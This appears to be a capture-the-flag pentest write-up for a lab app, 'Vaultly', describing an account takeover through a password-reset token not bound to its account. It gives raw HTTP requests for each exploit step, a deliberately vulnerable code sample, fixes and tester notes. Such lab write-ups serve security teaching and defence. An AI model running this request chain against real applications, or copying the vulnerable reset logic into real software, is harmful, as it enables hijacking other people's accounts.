Vaultly: Account Takeover via Unbound Password-Reset Token
Part 1: Pentest Report
Executive Summary
Vaultly is a multi-tenant “secure document vault for teams” built on Next.js
(app router, React Server Components) with a vaultly_session cookie and a
form-POST API under /api/auth/*. The application separates organizations
into tenants (our own org and a seeded victim org, Acme Corp) with
viewer/editor/admin/owner roles. Testing found that the password-reset confirm
endpoint does not bind a reset token to the account it was issued for, allowing
any authenticated user to overwrite the password of any other account by email.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Account takeover via password-reset token not bound to account | Critical | 9.6 | CWE-640, CWE-200 | POST /api/auth/reset/confirm |
The flag-bearing finding is a complete account takeover. Because the
confirm step resolves the target account from an attacker-controlled email
field while only validating that the supplied token is a live reset token, any
user who can mint a token for their own account can take over any other account
by email, including the admin of a different organization. A second defect in
the same flow returns the reset link directly in the HTTP response instead of
emailing it, which makes obtaining a valid token a single request.
Objective
Assess the Vaultly tenant for authentication and access-control defects and recover the engagement flag.
Scope / Initial Access
# Target Application
URL: Vaultly - Secure document vault for teams (BugForge daily, Acme Corp tenant)
# Auth details
- Registration: POST /api/auth/register (orgName, name, email, password)
- Session: vaultly_session cookie issued on login
- Starting privileges: self-registered account in our own organization
- Victim org: Acme Corp, demo accounts advertised on /login
(admin/owner/editor/[email protected])
The /login page advertises the seeded demo accounts for Acme Corp, so the
target email [email protected] was known from the login screen without
enumeration.
Reconnaissance: Mapping the Auth Flow
The authentication surface was mapped by walking the registration, login, and password-reset flows and observing each response.
POST /api/auth/registerreturns “An account with that email already exists” for an address that is already registered, without changing any state, a non-destructive way to confirm an account exists.POST /api/auth/reset/requestis authenticated, takes an empty body, and issues a reset token for the current session user. The form on/settings/securityhas no email input, so the token is always tied to the logged-in account.POST /api/auth/reset/requestreturns the reset link in the HTTP response: a303redirect withLocation: /settings/security?link=/reset?token=..., rather than delivering the link by email.POST /api/auth/reset/confirmtakestoken,email, andpassword. The account to update is selected by theemailvalue in the request body./loginadvertises Acme Corp demo accounts, fixing the target as[email protected].
Application Architecture
| Component | Detail |
|---|---|
| Backend | Next.js app router with React Server Components; form-POST API under /api/auth/* |
| Frontend | Next.js (server-rendered) |
| Auth | vaultly_session cookie; password-reset via token |
| Tenancy | Multi-tenant orgs (our org, Acme Corp) with viewer/editor/admin/owner roles |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/auth/register |
POST | No | Returns “already exists” for known emails (existence oracle) |
/api/auth/reset/request |
POST | Yes | Empty body; issues token for session user; returns link in response |
/api/auth/reset/confirm |
POST | No | Selects account by email; only checks token validity |
/login |
GET | No | Advertises Acme Corp demo accounts |
Known Users
| Username | Role |
|---|---|
| [email protected] | admin (Acme Corp) |
| [email protected] | owner (Acme Corp) |
| [email protected] | editor (Acme Corp) |
| [email protected] | viewer (Acme Corp) |
Attack Chain Visualization
┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐
│ Identify target │ │ reset/request as │ │ reset/confirm with │ │ Log in as │
│ [email protected] │──▶│ our own account → │──▶│ our token + │──▶│ [email protected] │
│ (advertised on │ │ token returned in │ │ email=admin@acme │ │ with new password │
│ /login) │ │ HTTP response │ │ → "Password updated"│ │ → dashboard + flag │
└────────────────────┘ └────────────────────┘ └────────────────────┘ └────────────────────┘
Findings
F1: Account takeover via password-reset token not bound to account
Severity: Critical
CVSS v3.1: 9.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-640 (Weak Password Recovery Mechanism), CWE-200 (Exposure of Sensitive Information)
Endpoint: POST /api/auth/reset/confirm
Authentication required: Yes (to mint the reset token)
Description
Two defects in the password-reset flow compound into a full account takeover:
- Token not bound to account.
POST /api/auth/reset/confirmresolves the account to update from theemailvalue in the request body and only checks that the suppliedtokenis a valid, unexpired reset token. It does not check that the token was issued for that email. A token minted for our own account is therefore accepted as authorization to overwrite any other account’s password. - Reset link returned in the HTTP response.
POST /api/auth/reset/requestreturns the reset link in-band (a303redirect withLocation: /settings/security?link=/reset?token=...) instead of emailing it. A valid token for the attacker’s own account is obtained in a single request, with no need to receive any email.
Combined, an authenticated user mints a reset token for their own account, then submits it together with a victim’s email to set a new password on the victim’s account.
Impact
Full takeover of any account by email, including the admin of another organization.
Reproduction
Step 1: Confirm the target account exists (non-destructive)
POST /api/auth/register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
orgName=Probe&name=Probe&[email protected]&password=Probe123x
Response: “An account with that email already exists.” Confirms [email protected]
is registered without altering it. (The address was already known from /login;
this is the non-destructive confirmation.)
Step 2: Mint a reset token for our own account
POST /api/auth/reset/request HTTP/1.1
Cookie: vaultly_session=<our session>
Content-Type: application/x-www-form-urlencoded
Response: 303 redirect with
Location: /settings/security?link=/reset?token=<TOKEN>. The reset link, and
therefore a valid token for our own account, is returned directly in the
response.
Step 3: Confirm the reset against the victim’s email
POST /api/auth/reset/confirm HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=<TOKEN>&[email protected]&password=Owned123x
Response: “Password updated.” The token minted for our account was accepted to
change the password of [email protected].
Step 4: Log in as the victim
POST /api/auth/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
[email protected]&password=Owned123x
Response: 303 redirect to /dashboard. We are authenticated as the Acme Corp
admin. The flag was delivered in the account’s “Password changed” notification.
Remediation
Fix 1: Resolve the account from the token, not from the request body
// BEFORE (Vulnerable)
// Account chosen by attacker-controlled email; token only checked for validity.
async function confirmReset({ token, email, password }) {
const record = await resetTokens.findValid(token);
if (!record) return error('This reset link is invalid or has expired');
const user = await users.findByEmail(email); // attacker-controlled
await users.setPassword(user.id, password);
return ok('Password updated');
}
// AFTER (Secure)
// Account is derived from the token record itself; email is ignored.
async function confirmReset({ token, password }) {
const record = await resetTokens.findValid(token);
if (!record) return error('This reset link is invalid or has expired');
await users.setPassword(record.userId, password); // bound to token
await resetTokens.consume(record.id); // single-use
return ok('Password updated');
}
Fix 2: Do not return reset links in HTTP responses
// BEFORE (Vulnerable)
const link = `/reset?token=${token}`;
return redirect(303, `/settings/security?link=${encodeURIComponent(link)}`);
// AFTER (Secure)
await mailer.sendResetLink(user.email, token); // delivered out-of-band
return redirect(303, '/settings/security?sent=1');
Additional recommendations:
- Make reset tokens single-use and short-lived; invalidate on use and on password change.
- Keep error responses identical for a bad token and a nonexistent account so the endpoint does not behave as an account oracle, and rate-limit the registration endpoint to reduce its value as an existence oracle.
- Notify the account owner out-of-band on password change.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: The confirm endpoint authorizes a password change against an attacker-chosen account rather than the account the token was issued for.
- A07:2021 Identification and Authentication Failures: The password-recovery mechanism does not bind the recovery token to a single account, defeating the purpose of the token.
- A04:2021 Insecure Design: Returning the reset link in the HTTP response removes the out-of-band possession check that a password reset relies on.
Tools Used
| Tool | Purpose |
|---|---|
| Browser + intercepting proxy | Walk the auth flows and replay reset requests |
| curl | Issue register/reset/confirm/login requests |
References
- CWE-640: Weak Password Recovery Mechanism - https://cwe.mitre.org/data/definitions/640.html
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor - https://cwe.mitre.org/data/definitions/200.html
- OWASP Forgot Password Cheat Sheet - https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html
Part 2: Notes / Knowledge
Key Learnings
-
A reset token is only as safe as the binding the server enforces; test the binding directly, don’t read it off the error message. The confirm endpoint resolved the target account from a client-supplied
emailand only checked the token was a live reset token, never that it was issued for that email. The trap is the error text: “this reset link is invalid or has expired” fires for both a bad token and a nonexistent email, so a failed shot at a guessed admin address looks like binding is enforced when really the address simply didn’t exist. Isolate it by registering a second account you own and resetting it with your own token: if that succeeds, the binding isn’t enforced and the earlier failures were the address, not the binding. On Vaultly, early attempts against a guessed[email protected]returned the same “invalid or expired” and read as if binding were enforced, until a self-owned second account proved otherwise. -
Use the registration endpoint as a non-destructive existence oracle before touching state-changing flows. Register’s “an account with that email already exists” confirms a target without mutating anything, whereas probing the reset/confirm flow overwrites a password and burns the account you are testing against. When you need to know whether an address exists, reach for the read-only signal first and keep the destructive endpoint for the actual exploit.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Reuse an already-consumed reset token against the victim | “Invalid or expired” | Tokens are single-use once confirmed; needed a fresh token |
Reset [email protected] (guessed address) |
“Invalid or expired” | That address does not exist; the error masked the real (unenforced) binding |
Supply victim email on reset/request to mint a token for them |
Token still bound to session user | The request form has no email input; the request endpoint always issues for the logged-in account |
Tags: #account-takeover #password-reset #broken-access-control #webapp #bugforge
Document Version: 1.0
Last Updated: 2026-06-10